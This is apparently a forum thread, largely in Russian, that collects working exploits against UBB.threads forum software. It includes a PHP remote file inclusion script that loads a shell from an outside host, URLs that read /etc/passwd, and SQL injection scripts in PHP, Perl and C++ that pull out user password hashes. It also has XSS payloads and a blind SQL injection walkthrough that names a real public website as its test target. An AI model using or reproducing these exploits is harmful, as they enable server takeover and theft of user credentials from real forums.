Vendor: http://www.ubbcentral.com/ Code Execution (doeditconfig.php) Vulnerable: UBB.threads <= 6.5.1.1 Exploit: PHP: #!/usr/bin/php -q -d short_open_tag=on <? /* UBB.threads Command Execution */ /* by HACKERS PAL <[email protected]> */ /* site: http://www.soqor.net */'); if ($argc<2) { print_r(' /* -- */ /* Usage: php '.$argv[0].' host /* Example: */ /* php '.$argv[0].' http://localhost/ /**********************************************/ '); die; } error_reporting(0); ini_set("max_execution_time",0); $url=$argv[1]."/"; $exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?"; $page=$url.$exploit; Function get_page($url) { if(function_exists("file_get_contents")) { $contents = file_get_contents($url); } else { $fp=fopen("$url","r"); while($line=fread($fp,1024)) { $contents=$contents.$line; } } return $contents; } $page = get_page($page); $newpage = get_page($url."calendar.php"); if(eregi("Cannot execute a blank command",$newpage)) { Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/* Visit us : WwW.SoQoR.NeT */\n/**********************************************/"); } Else { Die("\n[-] Exploit Failed\n/* Visit us : WwW.SoQoR.NeT */\n/**********************************************/"); } ?> Multiple File Inclusion Vulnerabilities Vulnerable: UBBThreads 5.x,6.x Note: register_globals=on Exploit: Code: http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00 http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt? http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00 If php version < 4.1.0 or UBB version <= 5.x http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt? http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00 XSS Vulnerable: UBBThreads 5.x,6.x Exploit: Code: http://[site]/[ubbpath]/index.php?debug=<script>alert();</script> SQL Injection (mailthread.php) Vulnerable: UBB Threads < 6.5.2 Beta Exploit: PHP: <?php ############################################################################# # T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m ############################################################################# # Vulnerable: UBBCentral SQL Injection # # Exploit By : MH_p0rtal # # Discovered By: James Bercegay ############################################################################# # Gr33tz To ==> Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke # # And Iranian Hacking & Security Teams : # IHS TeaM , alphaST , Shabgard Security Team , Emperor Hacking Team , # Crouz Security Team & Simorgh-ev Security Team ############################################################################# # ___________Config : # please replace your address : $url = "http:///www.example.com"; # please replace your dir address : $dirs = "/dir/to/ubbt/"; # __________End Config ############################################################################# $aa = strlen ( $dirs ); $ab = $aa - 1; $ac = 0; if (( $dirs[$ab] == "/" ) && ( $dirs[$ac] == "/" )) { $merg = $dirs.mailthread.php; $fc = fsockopen("$url", 80, $errno, $errstr, 30); if (!$fc) { echo "Can't Connect\n"; } else { $mh = "GET $merg?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat HTTP/1.1\r\n"; $mh .= "Host: $url\r\n"; $mh .= "Connection: Close\r\n\r\n"; fwrite($fc, $mh); while (!feof($fc)) { echo fgets($fc, 1024); } fclose($fc); } } else { echo " Your pattern doesn't equal with Exploit directory pattern "; } ?> One char bruteforce Vulnerable: UBB.Threads 6.2.* - 6.3.* Exploit: Code: #!/usr/bin/perl use LWP::UserAgent; # UBB.Threads 6.2.* - 6.3.* exploit # with one char brute technique # by 1dt.w0lf // r57 $path = $ARGV[0]; $username = $ARGV[1]; $s_num = 1; $n=0; $|++; if (@ARGV < 2) { &usage; } print "Please wait...\r\n"; print "["; while(1) { # начинаем перебор с полного диапазона &found(0,122); # если возвращенный код 0 значит дошли до конца строки и выводим полученный результат if ($char=="0") { print "]\r\n\r\n"; # разделяем полученную строку на логин и пароль ($res1,$res2)=split(":",$allchar); # print "------------------x REPORT x-------------------\r\n"; print " Username: $username\r\n"; print " Login Name: $res1\r\n"; print " Password Hash: $res2\r\n"; print "------------------x REPORT x-------------------\r\n"; print "total requests: $n\r\n"; exit(); } else { # преобразуем полученный код в символ и добавляем его к строке результата print "|"; $allchar .= chr($char); } # увеличиваем позицию символа на единицу и продолжаем перебор $s_num++; } sub found($$) { # определяем переданный диапазон my $fmin = $_[0]; my $fmax = $_[1]; # если диапазон менее 5 то переходим к перебору if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; } # определяем центр диапазона $r = int($fmax - ($fmax-$fmin)/2); # делаем условие $check = ">$r"; # и проверяем условие, в зависимости от результата рекурсивно вызываем функцию с новым диапазоном if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r+1); } } sub crack($$) { # определяем переданный диапазон my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; # и проходим по каждому значению из диапазона while ($i<$cmax) { # делаем условие $crcheck = "=$i"; # проверяем его if ( &check($crcheck) ) { return $i; } $i++; } return; } sub check($) { # увеличиваем количество запросов $n++; # определяем условие $ccheck = $_[0]; # создаем http запрос к серверу $http_query = $path."?Cat=&page=1&like=".$username."' AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*"; # Если вы хотите видеть все запросы отправляемые к скрипту # то расскоментируйте следующую строку # print "\r\n $http_query \r\n"; $mcb_reguest = LWP::UserAgent->new() or die; # получаем ответ сервера $res = $mcb_reguest->post($http_query); @results = $res->content; # проверяем ответ сервера на наличие строки foreach $result(@results) { if ($result =~ /<td class=\"lighttable\">/) { return 1; } } return 0; } sub usage { print "=========================================================\r\n"; print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n"; print " For all MySQL versions! Don't need UNION support!\r\n"; print "=========================================================\r\n"; print " Usage: $0 [path/to/showmembers.php] [username]\r\n"; print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n"; print "=========================================================\r\n"; exit(); } Printthread.PHP SQL Injection Vulnerability Vulnerable: UBB.threads 6.0 Exploit: Code: //HLLUBBThreadsExploit.cpp /* 4. Exploitation UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any vaild forum name> <user id> Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php UBB3 2 Vulnerability discovered by: Axl Exploit Coded by HLL: hllhll <at> gmail.com */ #include <winsock2.h> #include <stdio.h> #include <conio.h> #include <iostream.h> #pragma comment (lib,"ws2_32") void usage(char *argv[]) { cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: HLL" << endl; cout << "[+] Usage:" << endl; cout << "[+] " << argv[0] << " <hostname> <path to printthread.php> <Any vaild forum name> <user name> " << endl; cout << "[+] " << argv[0] << " www.host.com /ubbthreads/printthread.php UBB3 HLL" << endl; } int main(int argc, char *argv[]){ WSADATA wsaData; struct sockaddr_in saddr; WSAStartup(MAKEWORD(1, 1), &wsaData); struct hostent *h; char hash[34]={0}; int rcvlen; char ch; int flag, pos; int countwait; SOCKET sock; char req[400]; char buf[600]; char rcvbuf[10000]; char rcvtmpbuf[1024]; char *host=argv[1]; //Server char *path=argv[2]; // Path to /ubbthreads/printthread.php char *fname=argv[3]; //Forum name int uid=atoi(argv[4]); //User id if (argv!=5){ usage(argv); return(0); } //Resolve address (will work also if this is an IP) cout << "[+] Resolving host... "; if (!(h=gethostbyname(host))) { cout << "FAILD!" << endl; return(1); } cout << "Done." << endl; saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0]; memset(saddr.sin_zero, 0, 8); saddr.sin_port=htons(80); saddr.sin_family=AF_INET; cout << "[+] Exploiting target... " << endl; for (pos=1; pos<=32; pos++) { for (ch='0'; ch<='F'; ch++) { if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { cout << "FAILD CREATING SOCKET!" << endl; return(1); } if (ch==':') ch='A'; //If finished all digits, jump to hex digits //Prepare reqest sprintf(req, "%s?Board=%s&type=post&main=-99'%%20UNION%%20SELECT%%20B_Number,B_Posted%%20FROM%%20w3t_Posts,w3t_Users%%20WHERE%%20((MID(U_Password,%d,1)='%c')", path, fname, pos, ch, pos, ch+32); if (ch>='A' && ch<='Z') sprintf(req, "%sOR%%20(MID(U_Password,%d,1)='%c')", req, pos, ch+32); sprintf(req, "%s)AND(u_number=%d)/*", req, uid); sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\nHost: %s \r\n\r\n", req, host); connect(sock, (struct sockaddr *)&saddr, sizeof(struct sockaddr) ); send(sock, buf, strlen(buf), 0); cout << "[+] Char: " << ch << endl; //Loop untill disconnection or recognized string flag=0; countwait=0; *rcvbuf=NULL; while(!flag){ Sleep(30); if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 0))>0){ rcvtmpbuf[rcvlen]=NULL; strcat(rcvbuf, rcvtmpbuf); } if ( (++countwait) == 30) flag=2; if ( strstr(rcvbuf, "SQL Error")) flag=1; } if (flag==1){ //Char found cout << "[+] Char " << ch << " In pos " << pos << endl; hash[pos-1]=ch; ch='G'; } closesocket(sock); } } hash[32]=NULL; cout << endl << "The hash for user id" << uid << "is: " << hash << endl; WSACleanup(); return (0); } Editpost.PHP SQL Injection Vulnerable: UBB.threads 6.0 PoC: Code: http://www.example.com/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a Multiple SQL Injection Vulnerabilities Vulnerable: UBB.threads 6.5.1.1 UBB.threads 6.5.1 UBB.threads 6.5 UBB.threads 6.2.3 UBB.threads 6.0 PoC: Code: http://www.example.com/ubbt/download.php?Number=42227[SQL] http://www.example.com/ubbt/calendar.php?Cat=7&month=6&year=2005[SQL] http://www.example.com/ubbt/calendar.php?Cat=&month=7[SQL]&year=2005 http://www.example.com/ubbt/modifypost.phpCat=0&Username=foobar&Number=[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&preview=1&peditdelete=Delete+this+post http://www.example.com/ubbt/mailthread.php?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received http://www.example.com/ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=0&vc=1&fpart=1&what=showflat http://www.example.com/ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded http://www.example.com/ubbt/grabnext.php?Cat=4&Board=UBB23&mode=showflat&sticky=0&dir=old&posted=1045942715[SQL] Multiple Cross-Site Scripting Vulnerabilities Vulnerable: UBB.threads 6.5.1.1 UBB.threads 6.5.1 UBB.threads 6.5 UBB.threads 6.2.3 UBB.threads 6.0 PoC: Code: http://www.example.com/ubbt/dosearch.php?Cat=0&Searchpage=2[XSS]&topic= http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818[XSS]&page=0&what=showflat&fpart=1&vc=1 http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0&what=showflat[XSS]&fpart=1&vc=1 http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0[XSS]&what=showflat&fpart=1&vc=1 http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818[XSS]&Board=UBB8&what=showflat&page=0&fpart=1&vc=1 http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8[XSS]&what=showflat&page=0&fpart=1&vc=1 http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8&what=showflat[XSS]&page=0&fpart=1&vc=1 http://www.example.com/ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0&fpart=all[XSS] http://www.example.com/ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0[XSS]&fpart=all http://www.example.com/ubbt/showmembers.php?Cat=&like=p[XSS]&sb=1&page=1 Dosearch.PHP SQL Injection Vulnerability Vulnerable: UBB.threads 3.5 UBB.threads 3.4 Exploit: Code: www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695 Или www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695'/* Showflat.PHP SQL Injection Vulnerability Vulnerable: UBB.threads 6.3 PoC: Code: http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1
Уязвимость: Слепая SQL инъекция Уязвимый продукт: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии" Дата публикации уязвимости на секлабе: 09 сентября, 2008 Описание на секлабе: http://www.securitylab.ru/vulnerability/359080.php Более подробное, но достаточно ущербное и кривое описание: http://www.gulftech.org/?node=research&article_id=00130-09082008 Прочли описание? Много поняли? НЕТ? С чего бы это... а ещё ведь удвиляетесь почему многие копипасты оцениваются минусами Разобрался что к чему и сделал нормальное описание: Требования для успешной эксплуатации уязвимости: 1. Версия форума: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии" 2. На форуме должна быть создана хотя бы одна тема 3. У вас должен быть аккаунт (т.к. опция поиска доступна только для зарегистрированных пользователей) 4. Версия mysql >= 4.1 (т.к. только с этой версии появились подзапросы) 5. Нужно знать префикс таблиц. 6. Предположительно! мейджик_квотс = офф Описание уязвимости (мои заметки): SQL инъекция, пусть и слепая - звучит скучно и заезженно, но не в этом случае. Данные передаваемые в параметр Forum[] не фильтруются, но обрабатываются далеко не самым лучшим для нас образом: 1. Проблема в том что использовать запятые в запросе нельзя: PHP: if (preg_match("/^f/",$Forum[$i])) { $bnum = str_replace("f","",$Forum[$i]); $boardin .= "'$bnum',"; $boardin = preg_replace("/,$/","",$boardin); if ($boardin) { $boardin = "FORUM_ID IN ($boardin)"; } Но тем не менее получить этот символ мы можем (хотя он нам и не нужен). Дело в том что передавать данные параметру (массиву) Forum[] можно несколькими строками. И эти строки будут объеденяться, но их объеденение так же проблемно: т.к. к каждой строке добавляется кавычка (как в начало, так и в конец, т.е. строка обрамляется в кавычки), и сами строки при этом разделяются запятыми. т.е. отправляя: Forum[]=f1&Forum[]=f222, получаем: '1','222' Самым простым запросом будет: Forum[]=f1')) AND 1=1/* Что бы получать данные из подзапросов пришлось отойти от использования стандартной конструкции с использованием функции substring(). И использовть для подбора данных поиск с помощью опратора LIKE: Code: Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '0%')=1/*')) Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '1%')=1/*')) Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '12%')=1/*')) Т.е. мы фактически подбираем ХЕШ пользователя с помощью оператора LIKE. Способ это не самый рациональный, но в данном случае он рабочий, а это главное (способ с использованием функции substring() к сожалению получался ограниченным на вывод только числовых данных из-за специфичности моей конструкции, но другой я придумать не смог). Всего нужно запросов для получения ХЕША: 32*16=512 - не так и много, хотя и не мало. 2. Ещё одна проблема, которая по началу сильно мне насолила, это вырезание символов "c", "f": PHP: if (preg_match("/^c/",$Forum[$i])) { $cnum = str_replace("c","",$Forum[$i]); $catin .= "'$cnum',"; } if (preg_match("/^f/",$Forum[$i])) { $bnum = str_replace("f","",$Forum[$i]); $boardin .= "'$bnum',"; Ничего в этом проблемного нет, т.к. обходится переводом символов в верхний регистр: "C", "F". Но из-за отсутствия нормальный исходников (двиг платный, нуленных версий не много, а то что у меня было, было далеко не самым свежим) по началу принесло не мало гемора. Эксплуатация уязвимости (мои заметки): Т.к. раскручивал инъекцию я как слепую, а там, вроде, только так и можно, то нам понадобиться как то определять правильность выполнения запроса. Делать мы это будет по нахождению результата при поиске слова (т.е. если в результате поиска что то находится, то запрос выполнен верно). Для этого нам потребуется слово которое будет находиться в определённом форуме, делается это так: 1) Регимся на форуме (кстати там обычно активация по мылу нужна, так что регим левые ящики и вперёд). 2) Заходим к списку форумов, смотрим линк на какой либо форум, выглядеть это будет примерно так: ubb=postlist&Board=58&page=1 В данном случае номер заданного форума (называть это разделом не совсем верно, т.к. раздел это нечто другое) = 58. 3) Заходим в выбранный форум и смотрим название какой либо темы, к примеру "Master spreadsheet..." Берём какое либо слово из названия темы и пробуем его найти в указанном форуме (выбрать форум для поиска можно указав его название - в опциях поиска вы этой найдёте без труда). Бац... и что то там нашлось - вот и отлично. 4) Теперь пробуем, к примеру, через GET, такой запрос: Code: ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/* , где: ubb=dosearch&fromsearch=1&checkwords=1 - необходимые параметры - их менять не нужно, Words=master слово, которое должно, обязательно, находиться и f58'))+and+1%3D1/* 58 - НОМЕР ФОРУМА, '))+and+1%3D1/* наш запрос ( and 1=1/*). Т.к. заданное условие, обязательно, выполнится, то если форум уязвим вы увидим что искомое слово нашлось, как и было раньше. Теперь пробуем так: Code: ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/* Т.к. заданное условие ( and 1=2/*) не выполнимо, то искомое слово не должно найтись! Судить о том уязвим форум или нет, можно и нужно только если в первом случае мы видим результат, а во втором нет (т.е. нужны две проверки - на правильность и не правильность выполнения условия). Вот на примере конкретного сайта: * Не забудьте зарегестрироваться - опция поиска доступна только зарегистрированным пользователям. Слово найдено: Code: http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/* Слово не найдено: Code: http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/* Так ну вот собственно и всё - как выдирать данные посимвольно я показал выше, не забудьте про филтрацию символов "c", "f" - они фигурируют во многих операторах. Вот только сказать "вперёд и с песней" я не могу, т.к. руками это эксплуатировать - не реал. Написал простенький и в некоторой степени кривой сплоент - выдирает он только ХЕШ пользователя с указанным номером. Как пользоваться моим сплоентом: 1. Регимся на форуме, смотрим свои куки - они пригодятся, т.к. сплоент без них работать не будет. 2. Вписываем данные в сплоент (если вы читали всё что написано выше, то понять что туда вписывать труда не составит + там все что нужно про комментированно). 3. Заливаем куда нидь сплоент и запускаем (т.к. написан он на скорую руку, то немного кривоват, что в свою очередь отражается на скорости его работы (минут 20)). 4. Получаем ХЕШ указанного пользователя. Учтите одного ХЕША будет мало, т.к. отображаемое имя и используемое как логин - могут быть разными. Переписать сплоент под себя, исправив этот недостаток не так и сложно для того кто разбирается в том что у чему, остальные... халявщики, а это не тру (своего рода это зашита от дурака), в противном случае расчитывайте на совпадение отображаемого имени и логина. Дополнительная информация: Алгоритм хеширования: md5() Префикс по дефолту: ubbt_ Таблица с пользователями: prefix_USERS Колонки в таблице пользователей: USER_ID, USER_LOGIN_NAME, USER_PASSWORD, USER_MEMBERSHIP_LEVEL (остальные не пригодятся) Вот приблизительно так и надо дорабатывать копипасты.
Grey, не успела появится уязвимость, как на следующий день появились патчи для форума, которые инйекцию прикрывают... UBB.threads 7.3.1 (обновленная) - патч для уязвимости к SQL-инъекции http://www.ubbcentral.com/forums/ubbthreads.php/topics/216722/